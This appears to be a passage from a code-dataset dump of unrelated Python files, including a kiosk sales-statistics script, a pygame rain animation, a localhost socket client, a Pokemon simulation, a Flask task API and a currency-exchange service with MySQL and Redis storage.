3\n\tpersonVareVerdi = defaultdict(dict) #personVareVerdi[trygvrad][Oreo] == 30 #[kr]\n\tpersonDatoVerdi = defaultdict(list) #dict->array\n\tpersonUkedagVerdi = defaultdict(list)\n\t#for global\n\tpersonPosTransactions = {} # personPosTransactions[trygvrad] == 100 #trygvrad har lagt 100kr i boksen\n\tpersonNegTransactions = {} # personNegTransactions[trygvrad» == 70 #trygvrad har tatt 70kr fra boksen\n\tglobalVareAntall = {}#globalVareAntall[Oreo] == 3\n\tglobalVareVerdi = {}#globalVareVerdi[Oreo] == 30 #[kr]\n\tglobalPersonAntall = {}#globalPersonAntall[trygvrad] == 3\n\tglobalPersonForbruk = {}#globalPersonVerdi == 30 #[kr]\n\tglobalUkedagForbruk = []\n\tglobalDatoVarer = [] \n\tglobalDatoForbruk = []\n\tpengebeholdning = []\n\nclass InputLine:\n\tdef __init__(self, u, p, t):\n\t\tself.inputUser = u\n\t\tself.inputProduct = p\n\t\tself.inputType = t\n\ndef getDateDb(date, inp):\n\ttry:\n\t\tyear = inp.partition('-')\n\t\tmonth = year[2].partition('-')\n\t\treturn datetime.datetime(int(year[0]), int(month[0]), int(month[2]))\n\texcept:\n\t\tprint('invalid date, setting date to date found in db')\n\t\tprint(date)\n\t\treturn date\n\ndef dateToDateNumDb(date, startDate):\n\tdeltaDays = date-startDate\n\treturn int(deltaDays.days), date.weekday()\n\ndef getInputType():\n\tinp = 0\n\twhile not (inp == '1' or inp == '2' or inp == '3' or inp == '4'):\n\t\tprint('type 1 for user-statistics')\n\t\tprint('type 2 for product-statistics')\n\t\tprint('type 3 for global-statistics')\n\t\tprint('type 4 to enter loop-mode')\n\t\tinp = input('')\n\treturn int(inp)\n\ndef getProducts(products):\n\tproduct = []\n\tproducts = products.partition('¤')\n\tproduct.append(products[0])\n\twhile (products[1]=='¤'):\n\t\tproducts = products[2].partition('¤')\n\t\tproduct.append(products[0])\n\treturn product\n\ndef getDateFile(date, inp):\n\ttry:\n\t\tyear = inp.partition('-')\n\t\tmonth = year[2].partition('-')\n\t\treturn datetime.date(int(year[0]), int(month[0]), int(month[2]))\t\n\texcept:\n\t\tprint('invalid date, setting date to date found on file file')\n\t\tprint(date)\n\t\treturn datetime.date(int(date.partition('-')[0]), int(date.partition('-')[2].partition('-')[0]), int(date.partition('-')[2].partition('-')[2]))\n\ndef dateToDateNumFile(date, startDate):\n\tyear = date.partition('-')\n\tmonth = year[2].partition('-')\n\tday = datetime.date(int(year[0]), int(month[0]), int(month[2]))\n\tdeltaDays = day-startDate\n\treturn int(deltaDays.days), day.weekday()\n\t\ndef clearDatabase(database):\n\tdatabase.varePersonAntall.clear()\n\tdatabase.vareDatoAntall.clear()\n\tdatabase.vareUkedagAntall.clear()\n\tdatabase.personVareAntall.clear()\n\tdatabase.personVareVerdi.clear()\n\tdatabase.personDatoVerdi.clear()\n\tdatabase.personUkedagVerdi.clear()\n\tdatabase.personPosTransactions.clear()\n\tdatabase.personNegTransactions.clear()\n\tdatabase.globalVareAntall.clear()\n\tdatabase.globalVareVerdi.clear()\n\tdatabase.globalPersonAntall.clear()\n\tdatabase.globalPersonForbruk.clear()\n\treturn(database)\n\ndef addLineToDatabase(database, inputLine):\n\tif abs(inputLine.price)>90000:\n\t\treturn database\n\t#fyller inn for varer\n\tif (not inputLine.product=='') and ((inputLine.inputProduct=='') or (inputLine.inputProduct==inputLine.product)):\n\t\tdatabase.varePersonAntall[inputLine.product][inputLine.user] = database.varePersonAntall[inputLine.product].setdefault(inputLine.user,0) + 1\t\n\t\tif inputLine.product not in database.vareDatoAntall:\n\t\t\tdatabase.vareDatoAntall[inputLine.product] = [0]*(inputLine.numberOfDays+1)\n\t\tdatabase.vareDatoAntall[inputLine.product][inputLine.dateNum] += 1\n\t\tif inputLine.product not in database.vareUkedagAntall:\n\t\t\tdatabase.vareUkedagAntall[inputLine.product] = [0]*7\n\t\tdatabase.vareUkedagAntall[inputLine.product][inputLine.weekday] += 1\n\t#fyller inn for personer\n\tif (inputLine.inputUser=='') or (inputLine.inputUser==inputLine.user):\n\t\tif not inputLine.product == '':\n\t\t\tdatabase.personVareAntall[inputLine.user][inputLine.product] = database.personVareAntall[inputLine.user].setdefault(inputLine.product,0) + 1\n\t\t\tdatabase.personVareVerdi[inputLine.user][inputLine.product] = database.personVareVerdi[inputLine.user].setdefault(inputLine.product,0) + inputLine.price\n\t\t\tif inputLine.user not in database.personDatoVerdi:\n\t\t\t\tdatabase.personDatoVerdi[inputLine.user] = [0]*(inputLine.numberOfDays+1)\n\t\t\tdatabase.personDatoVerdi[inputLine.user][inputLine.dateNum] += inputLine.price\n\t\t\tif inputLine.user not in database.personUkedagVerdi:\n\t\t\t\tdatabase.personUkedagVerdi[inputLine.user] = [0]*7\n\t\t\tdatabase.personUkedagVerdi[inputLine.user][inputLine.weekday] += inputLine.price\n\t#fyller inn delt statistikk (genereres uansett)\n\tif (inputLine.product==''):\n\t\tif (inputLine.price>0):\n\t\t\tdatabase.personPosTransactions[inputLine.user] = database.personPosTransactions.setdefault(inputLine.user,0) + inputLine.price\n\t\telse:\n\t\t\tdatabase.personNegTransactions[inputLine.user] = database.personNegTransactions.setdefault(inputLine.user,0) + inputLine.price\n\telif not (inputLine.inputType==1):\n\t\tdatabase.globalVareAntall[inputLine.product] = database.globalVareAntall.setdefault(inputLine.product,0) + 1\n\t\tdatabase.globalVareVerdi[inputLine.product] = database.globalVareVerdi.setdefault(inputLine.product,0) + inputLine.price\n\t\t\t\t\t\n\t#fyller inn for global statistikk\n\tif (inputLine.inputType==3) or (inputLine.inputType==4):\n\t\tdatabase.pengebeholdning[inputLine.dateNum] += inputLine.price\n\t\tif not (inputLine.product==''):\n\t\t\tdatabase.globalPersonAntall[inputLine.user] = database.globalPersonAntall.setdefault(inputLine.user,0) + 1\n\t\t\tdatabase.globalPersonForbruk[inputLine.user] = database.globalPersonForbruk.setdefault(inputLine.user,0) + inputLine.price\n\t\t\tdatabase.globalDatoVarer[inputLine.dateNum] += 1\n\t\t\tdatabase.globalDatoForbruk[inputLine.dateNum] += inputLine.price\n\t\t\tdatabase.globalUkedagForbruk[inputLine.weekday] += inputLine.price\n\treturn database\n\ndef buildDatabaseFromDb(inputType, inputProduct, inputUser):\n\tsdate = input('enter start date (yyyy-mm-dd)? ')\n\tedate = input('enter end date (yyyy-mm-dd)? ')\n\tprint('building database...')\t\n\tsession = Session()\n\ttransaction_list = session.query(Transaction).all()\n\tinputLine = InputLine(inputUser, inputProduct, inputType)\n\tstartDate = getDateDb(transaction_list[0].time, sdate)\n\tendDate = getDateDb(transaction_list[-1].time, edate)\n\tinputLine.numberOfDays = (endDate-startDate).days\n\tdatabase = Database()\n\tdatabase = clearDatabase(database)\n\n\tif (inputType==3) or (inputType==4):\n\t\tdatabase.globalDatoVarer = [0]*(inputLine.numberOfDays+1)\n\t\tdatabase.globalDatoForbruk = [0]*(inputLine.numberOfDays+1)\n\t\tdatabase.globalUkedagForbruk = [0]*7\n\t\tdatabase.pengebeholdning = [0]*(inputLine.numberOfDays+1)\n\tprint('wait for it.... ')\n\tfor transaction in transaction_list:\n\t\tif transaction.purchase:\n\t\t\tproducts = [ent.product.name for ent in transaction.purchase.entries]\n\t\telse:\n\t\t\tproducts = []\n\t\t\tproducts.append('')\n\t\tinputLine.dateNum, inputLine.weekday = dateToDateNumDb(transaction.time, startDate)\n\t\tif inputLine.dateNum<0 or inputLine.dateNum>(inputLine.numberOfDays):\n\t\t\tcontinue\n\t\tinputLine.user=transaction.user.name\n\t\tinputLine.price=transaction.amount\n\t\tfor inputLine.product in products:\t\n\t\t\tdatabase=addLineToDatabase(database, inputLine )\n\t\t\tinputLine.price = 0;\n\n\tprint('saving as default.dibblerlog...', end=' ')\n\tf=open('default.dibblerlog','w')\t\n\tline_format = '%s|%s|%s|%s|%s|%s\\n'\n\ttransaction_list = session.query(Transaction).all()\n\tfor transaction in transaction_list:\n\t\tif transaction.purchase:\n\t\t\tproducts = '¤'.join([ent.product.name for ent in transaction.purchase.entries])\n\t\t\tdescription = ''\n\t\telse:\n\t\t\tproducts = ''\n\t\t\tdescription = transaction.description\n\t\tline = line_format % ('purchase', transaction.time, products, transaction.user.name, transaction.amount, transaction.description)\n\t\tf.write(line.encode('utf8'))\n\tsession.close()\n\tf.close\n\t#bygg database.pengebeholdning\n\tif (inputType==3) or (inputType==4):\n\t\tfor i in range(inputLine.numberOfDays+1):\n\t\t\tif i > 0:\n\t\t\t\tdatabase.pengebeholdning[i] +=database.pengebeholdning[i-1]\n\t#bygg dateLine\n\tday=datetime.timedelta(days=1)\n\tdateLine=[]\n\tdateLine.append(startDate)\n\tfor n in range(inputLine.numberOfDays):\n\t\tdateLine.append(startDate+n*day)\n\tprint('done')\n\treturn database, dateLine\n\ndef buildDatabaseFromFile(inputFile, inputType, inputProduct, inputUser):\n\tsdate = input('enter start date (yyyy-mm-dd)? ')\n\tedate = input('enter end date (yyyy-mm-dd)? ')\n\t\t\n\tf=open(inputFile)\n\ttry:\n\t\tfileLines=f.readlines()\n\tfinally:\n\t\tf.close()\n\tinputLine = InputLine(inputUser, inputProduct, inputType)\n\tstartDate = getDateFile(fileLines[0].partition('|')[2].partition(' ')[0], sdate)\n\tendDate = getDateFile(fileLines[-1].partition('|')[2].partition(' ')[0], edate)\n\tinputLine.numberOfDays = (endDate-startDate).days\n\tdatabase = Database()\n\tdatabase = clearDatabase(database)\n\n\tif (inputType==3) or (inputType==4):\n\t\tdatabase.globalDatoVarer = [0]*(inputLine.numberOfDays+1)\n\t\tdatabase.globalDatoForbruk = [0]*(inputLine.numberOfDays+1)\n\t\tdatabase.globalUkedagForbruk = [0]*7\n\t\tdatabase.pengebeholdning = [0]*(inputLine.numberOfDays+1)\n\tfor linje in fileLines:\n\t\tif not (linje[0]=='#') and not (linje=='\\n') :\n\t\t\t#henter dateNum, products, user, price\n\t\t\trestDel = linje.partition('|')\n\t\t\trestDel = restDel[2].partition(' ')\n\t\t\tinputLine.dateNum, inputLine.weekday = dateToDateNumFile(restDel[0], startDate)\n\t\t\tif inputLine.dateNum<0 or inputLine.dateNum>(inputLine.numberOfDays):\n\t\t\t\tcontinue\n\t\t\trestDel=restDel[2].partition('|')\n\t\t\trestDel=restDel[2].partition('|')\n\t\t\tproducts = restDel[0]\n\t\t\trestDel=restDel[2].partition('|')\n\t\t\tinputLine.user=restDel[0]\n\t\t\tinputLine.price=int(restDel[2].partition('|')[0])\n\t\t\tfor inputLine.product in getProducts(products):\t\n\t\t\t\tdatabase=addLineToDatabase(database, inputLine )\n\t\t\t\tinputLine.price = 0;\n\t#bygg database.pengebeholdning\n\tif (inputType==3) or (inputType==4):\n\t\tfor i in range(inputLine.numberOfDays+1):\n\t\t\tif i > 0:\n\t\t\t\tdatabase.pengebeholdning[i] +=database.pengebeholdning[i-1]\n\t#bygg dateLine\n\tday=datetime.timedelta(days=1)\n\tdateLine=[]\n\tdateLine.append(startDate)\n\tfor n in range(inputLine.numberOfDays):\n\t\tdateLine.append(startDate+n*day)\n\treturn database, dateLine\n\ndef printTopDict(dictionary, n, k):\n\ti=0\n\tfor key in sorted(dictionary, key=dictionary.get, reverse=k):\n\t\tprint(key, ': ',dictionary[key]) \n\t\tif i= self.screen_size[1]:\n self.y = randint(-100, self.screen_size[1] -\n self.screen_size[1] / 4)\n self.x = randint(0, self.screen_size[0])\n self.speed = randint(1, 3)\n self.y += self.speed\n self.speed += 0.01\n\n def show(self):\n self.pygame.draw.rect(self.screen, self.color,\n [self.x, self.y, self.w, self.h])\n\npygame.init()\npygame.display.set_caption('purple rain', 'rain-64.ico')\nicon = pygame.image.load('C:/Users/ENBSF/Documents/\\\nlul_dev/thecodingtrain/assets/rain-64.ico')\npygame.display.set_icon(icon)\nsize = width, height = 800, 600\n\nscreen = pygame.display.set_mode(size)\ndrops = [Drop(pygame, screen) for _ in range(500)]\nrun = 1\n\nwhile run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = 0\n\n screen.fill(pygame.Color(220, 220, 250, 1))\n for i in range(500):\n drops[i].fall()\n\n for i in range(500):\n drops[i].show()\n pygame.display.update()\n\npygame.quit()\n","sub_path":"purple_rain.py","file_name":"purple_rain.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"355593798","text":"# Echo server program\nimport socket\nimport struct\n\nHOST = '127.0.0.1' # The remote host\nPORT = 7777 # The same port as used by the server\n\nisquit=False\n\nwhile True:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5.0)\n s.connect((HOST, PORT))\n print('connect success')\n while True:\n try:\n cmd=raw_input('#')\n param=cmd.split(' ')\n mycmd=''\n for i in range(len(param)):\n mycmd=mycmd+param[i]\n mycmd=mycmd+' '\n mycmd=mycmd+\"\\r\\n\"\n s.sendall(mycmd)\n data = s.recv(1024)\n print(data)\n except:\n print('lose connection')\n cmd=raw_input(\"?reconnect[yes/no]\")\n if cmd == \"yes\":\n break\n else:\n isquit=True\n break\n if isquit:\n break\n s.close()\n\n\n","sub_path":"tools/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"588115498","text":"import random\n\n#Runs a single 250 step simulation\ndef run_one_simulation(trainerLoc, capturesOnGrid, prob):\n count = 0\n totalPkmn = 0\n #Loops through 250 times for one simulation\n while(count<250):\n returnedTuple = move_trainer(trainerLoc, bounds, prob)\n trainerLoc = returnedTuple[0]\n isCaught = returnedTuple[1]\n if(isCaught ==1):\n capturesOnGrid[trainerLoc[0]][trainerLoc[1]] += 1 #Appends the grid if there is a pokemon at the location\n totalPkmn += 1\n count+=1\n return (capturesOnGrid, totalPkmn)\n\n\n#Checks boundaries, proceeds with direction, returns a tuple with new location\n#And whether a pokemon was caught or not\ndef move_trainer(location, bounds, prob):\n direction = random.randint(0, 3)\n \n #Boundary Definiton (Still catches pokemon at location)\n if(location[0] < 1 and direction == 0): #North\n #Pokemon Probability Catcher\n chance = random.random()\n if(chance < prob):\n return (location, 1)\n else:\n return (location, 0)\n \n elif(location[0] > bounds[0]-1 and direction == 1): #South\n #Pokemon Probability Catcher\n chance = random.random()\n if(chance < prob):\n return (location, 1)\n else:\n return (location, 0) \n \n elif(location[1] > bounds[1]-1 and direction == 2): #East\n #Pokemon Probability Catcher\n chance = random.random()\n if(chance < prob):\n return (location, 1)\n else:\n return (location, 0)\n \n elif(location[1] < 1 and direction == 3): #West\n #Pokemon Probability Catcher\n chance = random.random()\n if(chance < prob):\n return (location, 1)\n else:\n return (location, 0) \n \n #Proceeds with the direction movement\n else:\n if(direction == 0): #North\n newLocation = (location[0] - 1, location[1])\n elif(direction == 1): #South\n newLocation = (location[0] + 1, location[1])\n elif(direction == 2): #East\n newLocation = (location[0], location[1] + 1) \n else: #West\n newLocation = (location[0], location[1] - 1)\n \n #Pokemon Probability Catcher\n chance = random.random()\n if(chance < prob):\n return (newLocation, 1)\n else:\n return (newLocation, 0)\n'''\n'''\n'''\n'''\n'''\n'''\n\n#Variable Declaration\nrow = int(input(\"Enter the integer number of rows => \"))\nprint(row)\ncol = int(input(\"Enter the integer number of cols => \"))\nprint(col)\nprobability = float(input(\"Enter the probability of finding a pokemon (<= 1.0) => \"))\nprint(probability)\nnumSimulations = int(input(\"Enter the number of simulations to run => \"))\nprint(numSimulations)\nbounds = (row-1, col-1)\ntrainerLoc = (row//2, col//2)\ncount = 0\npokeCaught = 0\ntotalPokeCaught = 0\npokemonCaught = []\n\n#Declares the simulation grid\ncount_grid = []\nfor i in range(row):\n count_grid.append( [0]*col )\n\n#Seeds the random generator\nseed_value = 10*row + col\nrandom.seed(seed_value)\n\n#Appends the grid for each simulation run\nwhile(count maxPkmnSimulation):\n maxPkmnSimulation = pokemonCaught[i]\n maxIndex = i+1\n if(pokemonCaught[i] < minPkmnSimulation):\n minPkmnSimulation = pokemonCaught[i]\n minIndex = i+1\n\n#Finds the max/min pokemon caught on a single space\nmaxPkmnOnSpace = 0\nminPkmnOnSpace = 100\nfor i in range(row):\n for j in range(col):\n if(count_grid[i][j] > maxPkmnOnSpace):\n maxPkmnOnSpace = count_grid[i][j]\n if(count_grid[i][j] < minPkmnOnSpace):\n minPkmnOnSpace = count_grid[i][j]\n\n#Final output\nif(pkmnSum == 0):\n print(\"Total pokemon caught is\", pkmnSum)\n print(\"Minimum pokemon caught was\", minPkmnSimulation, \"in simulation\", minIndex)\n print(\"Maximum pokemon caught was\", maxPkmnSimulation, \"in simulation\", maxIndex) \n print(\"Max number of pokemon caught on a space is\", maxPkmnOnSpace)\n print(\"Min number of pokemon caught on a space is\", minPkmnOnSpace)\n \nelse:\n print(\"Total pokemon caught is\", pkmnSum)\n print(\"Minimum pokemon caught was\", minPkmnSimulation, \"in simulation\", minIndex)\n print(\"Maximum pokemon caught was\", maxPkmnSimulation, \"in simulation\", maxIndex)\n print(\"Max number of pokemon caught on a space is\", maxPkmnOnSpace, \"which was {:.2f}% of all pokemon caught\".format(maxPkmnOnSpace/pkmnSum*100))\n print(\"Min number of pokemon caught on a space is\", minPkmnOnSpace, \"which was {:.2f}% of all pokemon caught\".format(minPkmnOnSpace/pkmnSum*100))","sub_path":"Homeworks/Homework 5/hw5part2.py","file_name":"hw5part2.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"352203131","text":"#!/usr/bin/env python3\n\nclass PersonException( Exception):\n def __init__(self,m=\"\"):\n self.m=m\n self.n=0\n\nclass Person(object):\n\n __slots__ = ( '__name', '__ort', \"__alter\")\n\n def __init__( self):\n self.__name=\"\"\n self.__ort=\"\"\n self.__alter=0\n\n def __getAlter(self): return self.__alter \n def __setAlter(self,x): \n if x <1 or x > 100: \n raise( PersonException(\"FELER!!!!\"))\n return\n self.__alter = x\n alter=property(__getAlter,__setAlter)\n\n def ausgeben(self):\n print()\n\nif __name__ == \"__main__\":\n \n try: \n p=Person()\n p.alter=7777777\n p.ausgeben()\n except PersonException as e:\n print(\"kkkk\",e.m)\n except Exception as e:\n print(\"kkkk\")\n \n\n","sub_path":"Schulung/python_sas/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"66984076","text":"from flask import Flask, jsonify, request\nimport sql_db\n\napp = Flask(__name__)\n\n@app.route('/tasks')\ndef apiShowTasks():\n list = sql_db.showAll()\n return jsonify(list)\n\n@app.route('/tasks', methods=['POST'])\ndef apiCreateTasks():\n if request.headers['Content-Type'] == 'application/json':\n new_user = request.json\n name = new_user['todo']\n if not sql_db.check_name(name):\n if new_user['urgent']:\n sql_db.insert_urgent(name)\n else:\n sql_db.insert(name)\n response = jsonify(sql_db.get_name(name))\n else:\n response = jsonify({ 'message' : \"Not Found!\"})\n response.status_code = 404\n else:\n response = jsonify({ 'message': \"Invalid Request\"})\n response.status_code = 404\n return response\n\n@app.route('/tasks/')\ndef apiGetTask(id):\n if sql_db.check_id(id):\n response = jsonify(sql_db.get_id(id))\n else:\n response = jsonify({ 'message' : \"Not Found!\"})\n response.status_code = 404\n return response\n\n@app.route('/tasks/' , methods=['PUT'])\ndef apiUpdateTask(id):\n if request.headers['Content-Type'] == 'application/json':\n new_user = request.json\n id = new_user['id']\n if sql_db.check_id(id):\n sql_db.update(id,new_user['todo'],new_user['urgent'])\n response = jsonify(sql_db.get_id(id))\n else:\n response = jsonify({ 'message' : \"Not Found!\"})\n response.status_code = 404\n else:\n response = jsonify({ 'message': \"Invalid Request\"})\n response.status_code = 404\n return response\n\n@app.route('/tasks/' , methods=['DELETE'])\ndef apiDeleteTask(id):\n if sql_db.check_id(id):\n jsonify(sql_db.remove(id))\n response = jsonify({ 'message' : \"Deleted!\"})\n else:\n response = jsonify({ 'message' : \"Not Found!\"})\n response.status_code = 404\n return response\n\nif __name__ == '__main__':\n app.run()","sub_path":"server_app.py","file_name":"server_app.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"378605153","text":"import requests\nimport logging\nimport redis\nfrom time import time\n\nfrom flask import jsonify\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import desc\nfrom sqlalchemy.orm import Session\n\nfrom config.settings import OXR_APIKEY, DEFAULT_BASE, MYSQL_URI, REDIS_HOST, REDIS_PORT, \\\n REDIS_DB, REDIS_PWD, ROUND_DIGITS\nfrom models.models import ExchangeRate\n\n\n# setting up MySQL connection\nengine = create_engine(MYSQL_URI)\nsession = Session(engine)\n\n\n# setting up Redis connection\nredis_db = redis.StrictRedis(host=REDIS_HOST, port=REDIS_PORT, db=REDIS_DB,\n password=REDIS_PWD, decode_responses=True)\n\ndef get_oxr_rate():\n \"\"\"\n Calls OXR API to get current exchange rate for the currency\n :return: dict - API response\n \"\"\"\n url = f'https://openexchangerates.org/api/latest.json?app_id={OXR_APIKEY}'\n r = requests.get(url)\n return r.json()\n\n\ndef limit_to_currency(currency):\n \"\"\"\n Get from OXR API data for selected currency\n :param currency: str. 3-letter code: GBP, EUR.\n `currency` can't be USD since we converting from it.\n :return: dict - exchange rate for specific currency\n \"\"\"\n data = get_oxr_rate()\n exchange_rate = data.pop('rates').get(currency)\n if not exchange_rate:\n logging.warning(f'Exchange rate for {DEFAULT_BASE} - {currency} not available in API.')\n else:\n rate = {\n 'timestamp': int(time()),\n 'base': data.get('base'),\n 'currency': currency,\n 'rate': exchange_rate\n }\n return rate\n\n\ndef calculate_final_amount(rate, original_amount):\n \"\"\"\n Calculates final amount of money in USD and return updated rate dict.\n :param rate: dict. Currency rates obtained from OXR API\n :param original_amount - amount in USD which needs to be converted.\n :return: dict - updated rates with converted money\n \"\"\"\n rate.update(\n {\n 'original_amount': original_amount,\n 'converted_amount': round(original_amount/rate.get('rate'), ROUND_DIGITS),\n }\n )\n\n\ndef save_to_mysql(rate):\n \"\"\"\n Saves calculated data to MySQL database\n :param rate: dict. Exchange rate information\n \"\"\"\n er = ExchangeRate(\n timestamp=rate.get('timestamp'),\n base='USD',\n currency=rate.get('currency'),\n rate=rate.get('rate'),\n original_amount=rate.get('original_amount'),\n converted_amount=rate.get('converted_amount'),\n )\n session.add(er)\n session.commit()\n\n\ndef save_to_redis(rate):\n \"\"\"\n Saves calculated data to Redis cache\n :param rate: dict. Exchange rate information\n \"\"\"\n key = f'{rate.get(\"timestamp\")}-{rate.get(\"currency\")}'\n redis_db.hmset(key, rate)\n\n\ndef grab_and_save_rate(currency, original_amount):\n \"\"\"\n Call OXR API with provided values and save output to MySQL and Redis\n :param currency: str - 3-letter code: GBP, EUR.\n `currency` can't be USD since we converting from it.\n :param original_amount: float - - amount in USD which needs to be converted.\n \"\"\"\n rate = limit_to_currency(currency)\n calculate_final_amount(rate, original_amount)\n save_to_mysql(rate)\n save_to_redis(rate)\n\n\ndef get_from_my_sql(n=None, currency=None):\n \"\"\"\n Query MySQL to get last operations which match criteria.\n :param n: int - number of operations\n :param currency: str - 3-letter code. Currency of exchange\n :return: list - operations performed.\n \"\"\"\n if n is None:\n n = 1\n if currency:\n ms_data = session.query(ExchangeRate).filter(ExchangeRate.currency == currency)\\\n .order_by(desc(ExchangeRate.timestamp)).limit(n)\n else:\n ms_data = session.query(ExchangeRate).order_by(desc(ExchangeRate.timestamp)).limit(n)\n return [ms.serialize for ms in ms_data]\n\n\ndef get_from_redis(n=None, currency=None):\n \"\"\"\n Query Redis to get last operations which match criteria.\n :param n: int - number of operations\n :param currency: str - 3-letter code. Currency of exchange\n :return: list - operations performed.\n \"\"\"\n if n is None:\n n = 1\n if currency:\n keys = [k for k in redis_db.keys() if currency in k]\n else:\n keys = [k for k in redis_db.keys()]\n keys.sort(reverse=True)\n return [redis_db.hgetall(keys[i]) for i in range(n)]\n\ndef jsonify_data(n=None, currency=None):\n \"\"\"\n Return jsonified response to be shown as API response\n :param n: int - number of operations\n :param currency: str - 3-letter code. Currency of exchange\n :return: json\n \"\"\"\n validation_error = validate_data(n, currency)\n if validation_error:\n return validation_error\n return jsonify(MYSQL=get_from_my_sql(n, currency),\n Redis=get_from_redis(n, currency))\n\n\ndef validate_data(n=None, currency=None):\n \"\"\"\n Validates user input to see if we have enough data for it.\n :param n: int - number of operations\n :param currency: str - 3-letter code. Currency of exchange\n :return: json - JSON error message to be shown for user.\n \"\"\"\n total_currency_records = 0\n if currency:\n total_currency_records = session.query(ExchangeRate).\\\n filter(ExchangeRate.currency == currency).count()\n total_records = session.query(ExchangeRate).count()\n if n and currency and total_currency_records < n:\n logging.warning(f'Requested last {n} exchanges for {currency}. Data only for '\n f'{total_currency_records}'\n f' rates present')\n return jsonify(APIWarning=f'Too large number of exchange rates for {currency}. '\n f'Only {total_currency_records} rates present')\n elif n and total_records < n:\n logging.warning(f'Requested last {n} exchanges. Data only for {total_records} '\n f'rates present')\n return jsonify(APIWarning=f'Too large number of exchange rates. Only '\n f'{total_records} rates present')\n elif currency and total_currency_records == 0:\n logging.warning(f'Exchange rates for {currency} were requested. No data in database.')\n return jsonify(APIWarning=f'There is no exchange rates for {currency} in database')\n elif total_records == 0:\n logging.warning('Exchange rates were requested. No data in database.')\n return jsonify(APIWarning='There is no exchange rates in database')\n else:\n return {}\n","sub_path":"utils/grab_and_save.py","file_name":"grab_and_save.py","file_ext":"py","file_size_in_byte":6479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"229297928","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport os\nf_strFileName = os.path.split(__file__)[1]\nf_strFileBaseName = os.path.splitext(f_strFileName)[0]\nf_strAppName = __file__.split(os.path.sep)[-3]\n\nimport asyncio\nimport logging\nlogging.basicConfig(level = logging.INFO, format = '%(message)s \\n\\t %(levelname)s %(pathname)s:%(lineno)d(%(funcName)s)' )\n\nfrom bsn.common import asyncio_app\nfrom bsn.common import app_base as app\nfrom optparse import OptionParser\nfrom optparse import OptionGroup\n\ndef _parse_arg():\n parse = OptionParser()\n group = OptionGroup(parse, \n 'App Options',\n 'app special config')\n\n # group.add_option('-c','--config',\n # metavar='configDir',\n # action='store',\n # dest='config',\n # type=\"string\",\n # default = 'default',\n # help='config dir name')\n\n parse.add_option_group(group)\n return app.get_args(parse)\n\nclass CApp(app.CApp):\n def __init__(self, loop, *args):\n logging.info(\"{} args={}\".format(self, args))\n super().__init__(loop, f_strAppName, *args)\n\ndef create_app(loop, *args):\n logging.info(\"args={}\".format(args))\n return CApp(loop, *args)\n\nif __name__ == '__main__':\n args = _parse_arg()\n logging.info(\"args={}\".format(args))\n asyncio_app.main(create_app, args)","sub_path":"bsn/agent/bin/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"632956530","text":"'''\nFile contains utility functions which are used by problem solutions\n'''\n\nimport math\n\ndef prime_factors(number):\n\t'''\n\tReturns a collection of number prime factors\n\t'''\n\t\n\tfactors = []\n\n\tpotential = 2\n\n\twhile number > 1:\n\n\t\twhile (number % potential == 0):\n\t\t\tfactors.append(potential)\n\t\t\tnumber = number / potential\n\n\t\tpotential = potential + 1\n\n\treturn factors\n\ndef prime_generator():\n '''\n Prime number generator\n '''\n \n for prime in [2,3,5,7,11,13,17,19]:\n yield prime\n \n prime = 23\n \n while True:\n dividers = [divider for divider in xrange(2, int(math.sqrt(prime)) + 1)]\n remainders = map(lambda div: prime % div, dividers)\n \n if 0 not in remainders:\n yield prime\n \n prime = prime + 1\n \ndef primes_upto(number):\n\t'''\n\tReturn primes ...\n\t'''\n\n\tprimes = [candidate for candidate in xrange(2, number+1) if len(prime_factors(candidate)) == 1]\n\n\treturn primes\n\n\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"520663228","text":"# coding: utf-8\nimport typing\n\nfrom sqlalchemy import and_\n\nfrom rolling.model.character import CharacterModel\nfrom rolling.server.document.build import BuildDocument\nfrom rolling.server.link import CharacterActionLink\n\nif typing.TYPE_CHECKING:\n from rolling.kernel import Kernel\n\n\nclass BuildLib:\n def __init__(self, kernel: \"Kernel\") -> None:\n self._kernel = kernel\n\n def place_build(\n self,\n world_row_i: int,\n world_col_i: int,\n zone_row_i: int,\n zone_col_i: int,\n build_id: str,\n under_construction: bool = True,\n commit: bool = True,\n ) -> BuildDocument:\n build_doc = BuildDocument(\n world_row_i=world_row_i,\n world_col_i=world_col_i,\n zone_row_i=zone_row_i,\n zone_col_i=zone_col_i,\n build_id=build_id,\n under_construction=under_construction,\n )\n self._kernel.server_db_session.add(build_doc)\n\n if commit:\n self._kernel.server_db_session.commit()\n\n return build_doc\n\n def get_build_doc(self, build_id: int) -> BuildDocument:\n return (\n self._kernel.server_db_session.query(BuildDocument)\n .filter(BuildDocument.id == build_id)\n .one()\n )\n\n def get_on_build_actions(\n self, character: CharacterModel, build_id: int\n ) -> typing.List[CharacterActionLink]:\n build_doc = self.get_build_doc(build_id)\n actions: typing.List[CharacterActionLink] = []\n\n for action in self._kernel.action_factory.get_all_with_build_actions():\n actions.extend(action.get_character_actions(character, build_id=build_id))\n\n return actions\n\n def get_zone_build(\n self,\n world_row_i: int,\n world_col_i: int,\n zone_row_i: typing.Optional[int] = None,\n zone_col_i: typing.Optional[int] = None,\n ) -> typing.List[BuildDocument]:\n filters = 